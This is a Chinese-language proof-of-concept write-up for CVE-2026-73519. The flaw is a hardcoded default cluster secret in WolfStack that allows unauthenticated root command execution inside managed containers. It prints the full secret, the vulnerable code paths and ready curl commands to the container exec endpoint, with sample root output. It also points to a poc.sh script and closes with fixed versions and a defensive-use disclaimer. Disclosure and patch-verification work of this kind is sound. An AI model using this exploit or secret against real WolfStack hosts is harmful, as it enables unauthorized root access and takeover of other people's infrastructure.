针对 WolfStack 中硬编码默认认证机密的 PoC,远程未认证攻击者可借此在任意受管 Docker/LXC 容器内以 root 身份执行任意命令。
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| 公告 | GHSA-r3mw-2wmq-j6jg · VulnCheck 分析 |
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798(硬编码凭据)、CWE-306(关键功能缺少认证) |
| 受影响版本 | v25.9.0 及更早版本 / 任何尚未完成按安装迁移机密的节点 |
| 修复版本 | v25.9.2 / v25.9.3 |
| 发现者 | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 在每次 WolfStack 构建中都内置了同一个硬编码机密:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted()(src/auth/mod.rs:430-460)默认接受该常量作为有效凭据,除非操作员明确选择退出(WOLFSTACK_REJECT_DEFAULT_SECRET=1)或已轮换为自定义机密。api::require_auth()(src/api/mod.rs:518-535)是保护整个 REST API 的唯一关卡,它将携带匹配 X-WolfStack-Secret 头的请求视为完全认证通过——无需会话、无需 API 密钥、无需账户。
该关卡保护 POST /api/containers/{runtime}/{id}/exec(src/api/mod.rs:7145-7167),此端点会在目标容器内原样执行调用者提供的命令字符串。任何读过公开源码(或本仓库)的人,都可以作为受信任的集群对等节点完成认证,并在该节点管理的任意容器中以 root 身份执行任意命令。
本发布周期新增的按安装机密自动生成逻辑,仅对没有现有机密文件且没有已记录对等节点的节点生效(src/auth/mod.rs:250-261)——任何升级过的节点、任何触发文档所述启动竞态的节点,或任何配置路径不可写的节点,都会无限期保留在共享默认机密上,仅有一行日志警告。
将 TARGET 和 CONTAINER 指向你有权测试的 WolfStack 实例及容器,然后执行:
./poc.sh http://TARGET:8553 CONTAINER_NAME
或者手动执行:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

已针对经过校验和验证的正版 v25.9.0 发布二进制(sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c)和真实的 alpine:latest 目标容器完成验证。响应输出中的容器 ID 与受害主机上的 docker ps 结果一致。
/api/containers/docker、/api/containers/lxc)。require_auth 保护的路由(对等节点/节点管理、备份等)——本 PoC 以容器 exec 端点作为影响最清晰的攻击目标,并非穷尽列表。升级到 v25.9.2 或更高版本。维护者已将默认机密接受策略改为默认拒绝,并为现有安装增加了强制轮换路径。
在修复发布且 CVE 分配之后发布,仅供防御/教育用途——用于验证你自己基础设施上的补丁状态。请勿对你不拥有或未经明确授权测试的系统运行此 PoC。